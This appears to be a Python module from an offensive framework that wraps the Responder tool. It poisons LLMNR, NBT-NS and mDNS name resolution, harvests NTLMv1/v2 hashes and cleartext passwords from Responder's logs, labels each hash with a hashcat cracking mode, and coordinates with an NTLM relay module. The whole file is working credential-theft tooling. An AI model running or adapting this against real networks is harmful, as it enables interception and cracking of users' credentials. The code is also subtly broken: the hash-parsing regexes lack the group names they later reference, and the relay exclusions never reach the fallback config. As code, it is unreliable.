#!/usr/bin/env python3 """Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture. Manages Responder as a supervised subprocess. Generates Responder.conf from a Jinja2 template, monitors log output for captured NTLMv1/v2 hashes, and publishes CREDENTIAL_FOUND events. Coordinates with ntlm_relay to exclude relay targets from Responder's SMB server. Resources: ~30MB RAM, ~3% CPU """ import glob import logging import os import re import subprocess import threading import time from pathlib import Path from typing import Optional from modules.base import BaseModule logger = logging.getLogger("bb.active.responder_mgr") # Regex for Responder hash log filenames HASH_FILE_PATTERN = re.compile( r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$" ) # Regex for parsing NTLMv2 hash lines NTLMV2_REGEX = re.compile( r"^(?P\S+?)::(?P\S+?):(?P[0-9a-fA-F]+):" r"(?P[0-9a-fA-F]+):(?P[0-9a-fA-F]+)$" ) NTLMV1_REGEX = re.compile( r"^(?P\S+?)::(?P\S+?):(?P[0-9a-fA-F]+):" r"(?P[0-9a-fA-F]+):(?P[0-9a-fA-F]+)$" ) class ResponderManager(BaseModule): """Responder subprocess manager with hash capture monitoring. Dependencies: - Responder installed at /opt/tools/Responder Configuration: responder_path: Path to Responder directory interface: Network interface protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.) relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay) """ name = "responder_mgr" module_type = "active" priority = 150 requires_root = True HASH_POLL_INTERVAL = 10 # seconds def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._proc: Optional[subprocess.Popen] = None self._hash_thread: Optional[threading.Thread] = None self._responder_path = config.get("responder_path", "/opt/tools/Responder") self._iface = config.get("interface", "eth0") self._log_dir = os.path.join(self._responder_path, "logs") self._captured_hashes: list = [] self._hashes_lock = threading.Lock() self._seen_hashes: set = set() # Dedup set self._relay_targets: set = set() # IPs excluded from SMB for relay self._protocols = { "LLMNR": True, "NBT-NS": True, "mDNS": True, "HTTP": True, "SMB": True, "WPAD": True, "FTP": False, "POP": False, "IMAP": False, "SMTP": False, "LDAP": False, } self._template_dir = config.get( "template_dir", os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"), ) # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return if not os.path.isdir(self._responder_path): logger.error("Responder not found at %s", self._responder_path) return self._running = True self._pid = os.getpid() self._start_time = time.time() self.state.set_module_status(self.name, "running", pid=self._pid) logger.info("ResponderManager started (ready to launch Responder)") def stop(self) -> None: if not self._running: return self.stop_responder() self._running = False self.state.set_module_status(self.name, "stopped") logger.info("ResponderManager stopped") def status(self) -> dict: proc_alive = self._proc is not None and self._proc.poll() is None return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "responder_running": proc_alive, "responder_pid": self._proc.pid if proc_alive else None, "captured_hash_count": len(self._captured_hashes), "interface": self._iface, "relay_targets": list(self._relay_targets), } def configure(self, config: dict) -> None: self.config.update(config) if "interface" in config: self._iface = config["interface"] if "relay_targets" in config: self._relay_targets = set(config["relay_targets"]) if "protocols" in config: self._protocols.update(config["protocols"]) # ------------------------------------------------------------------ # Public API # ------------------------------------------------------------------ def start_responder(self, protocols: dict = None) -> bool: """Start Responder with configured protocols. Args: protocols: Optional dict overriding default protocol toggles. Returns: True if Responder was started. """ if not self._running: logger.error("ResponderManager not started") return False if self._proc and self._proc.poll() is None: logger.warning("Responder already running (pid=%d)", self._proc.pid) return True if protocols: self._protocols.update(protocols) # Generate Responder.conf from template self._write_responder_conf() # Build command responder_py = os.path.join(self._responder_path, "Responder.py") if not os.path.isfile(responder_py): logger.error("Responder.py not found at %s", responder_py) return False cmd = ["python3", responder_py, "-I", self._iface, "-v"] # Add protocol flags based on what we want DISABLED if not self._protocols.get("WPAD"): cmd.append("-w") # -w disables WPAD in newer Responder versions # Responder's flags are for disabling features, not enabling them # The .conf file controls which services are On/Off try: self._proc = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=self._responder_path, ) time.sleep(2) if self._proc.poll() is not None: stderr = self._proc.stderr.read().decode(errors="replace") logger.error("Responder failed to start: %s", stderr) return False # Start hash file monitoring thread self._hash_thread = threading.Thread( target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes" ) self._hash_thread.start() logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface) return True except Exception: logger.exception("Failed to start Responder") return False def stop_responder(self) -> bool: """Stop the Responder subprocess. Returns: True if Responder was stopped. """ if self._proc and self._proc.poll() is None: try: self._proc.terminate() self._proc.wait(timeout=5) except subprocess.TimeoutExpired: self._proc.kill() try: self._proc.wait(timeout=2) except Exception: pass except Exception: logger.exception("Failed to stop Responder") return False finally: self._proc = None logger.info("Responder stopped") return True def get_captured_hashes(self) -> list: """Return all captured hashes. Returns: List of dicts with hash details. """ with self._hashes_lock: return list(self._captured_hashes) def set_relay_targets(self, targets: set) -> None: """Set IPs that should be excluded from Responder's SMB server. When coordinating with ntlm_relay, Responder should not respond to targets that ntlmrelayx is relaying from. Args: targets: Set of IP addresses to exclude. """ self._relay_targets = set(targets) # Regenerate config and restart if running if self._proc and self._proc.poll() is None: self._write_responder_conf() logger.info("Updated relay exclusion targets: %s", targets) # ------------------------------------------------------------------ # Responder.conf generation # ------------------------------------------------------------------ def _write_responder_conf(self) -> None: """Generate Responder.conf from template or defaults.""" conf_path = os.path.join(self._responder_path, "Responder.conf") # Try Jinja2 template first template_path = os.path.join(self._template_dir, "Responder.conf.j2") if os.path.isfile(template_path): try: from jinja2 import Template with open(template_path, "r") as f: tmpl = Template(f.read()) rendered = tmpl.render( protocols=self._protocols, relay_targets=self._relay_targets, interface=self._iface, ) with open(conf_path, "w") as f: f.write(rendered) return except ImportError: logger.warning("Jinja2 not available — using inline config") except Exception: logger.exception("Failed to render Responder.conf template") # Fallback: write config directly smb_on = "On" if self._protocols.get("SMB") else "Off" http_on = "On" if self._protocols.get("HTTP") else "Off" conf = ( "[Responder Core]\n\n" "; Servers to start\n" f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n" f"SMB = {smb_on}\n" f"RDP = Off\n" f"Kerberos = Off\n" f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n" f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n" f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n" f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n" f"HTTP = {http_on}\n" f"HTTPS = {http_on}\n" f"DNS = Off\n" f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n" f"DCERPC = Off\n" f"WinRM = Off\n" f"SNMP = Off\n" f"MQTT = Off\n" "\n" "; Custom challenge\n" "Challenge = Random\n" "\n" "; Set to On for downgrading to NTLMv1\n" "DontRespondToNames =\n" "\n" ) with open(conf_path, "w") as f: f.write(conf) # ------------------------------------------------------------------ # Hash capture monitoring # ------------------------------------------------------------------ def _hash_monitor_loop(self) -> None: """Monitor Responder log directory for new hash files.""" while self._running and self._proc and self._proc.poll() is None: time.sleep(self.HASH_POLL_INTERVAL) try: self._scan_hash_files() self._scan_session_log() except Exception: logger.exception("Hash monitor error") def _scan_hash_files(self) -> None: """Scan Responder logs/ for NTLMv1/v2 hash files.""" if not os.path.isdir(self._log_dir): return for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")): try: with open(filepath, "r") as f: for line in f: line = line.strip() if not line or line in self._seen_hashes: continue self._seen_hashes.add(line) self._process_hash_line(line, filepath) except Exception: pass def _scan_session_log(self) -> None: """Scan Responder-Session.log for cleartext credentials.""" session_log = os.path.join(self._log_dir, "Responder-Session.log") if not os.path.isfile(session_log): return try: with open(session_log, "r") as f: for line in f: line = line.strip() if not line or line in self._seen_hashes: continue # Look for cleartext credential lines if "Cleartext" in line or "Password" in line: self._seen_hashes.add(line) self._process_cleartext_line(line) except Exception: pass def _process_hash_line(self, line: str, source_file: str) -> None: """Parse an NTLM hash line and emit CREDENTIAL_FOUND.""" # Determine hash type from filename hash_type = "ntlmv2" hashcat_mode = 5600 if "NTLMv1" in source_file: hash_type = "ntlmv1" hashcat_mode = 5500 # Parse username and domain match = NTLMV2_REGEX.match(line) if not match: match = NTLMV1_REGEX.match(line) if match: username = match.group("username") domain = match.group("domain") else: username = line.split("::")[0] if "::" in line else "unknown" domain = "" hash_entry = { "timestamp": time.time(), "username": username, "domain": domain, "hash_type": hash_type, "hashcat_mode": hashcat_mode, "hash_value": line, "source_file": source_file, } with self._hashes_lock: self._captured_hashes.append(hash_entry) self.bus.emit( "CREDENTIAL_FOUND", { "source_module": self.name, "source_ip": "", "target_service": "responder", "username": username, "domain": domain, "credential_type": hash_type, "credential_value": line, "hashcat_mode": hashcat_mode, }, source_module=self.name, ) logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type) def _process_cleartext_line(self, line: str) -> None: """Process a cleartext credential line from Responder session log.""" self.bus.emit( "CREDENTIAL_FOUND", { "source_module": self.name, "target_service": "responder_cleartext", "credential_type": "cleartext", "credential_value": line, }, source_module=self.name, )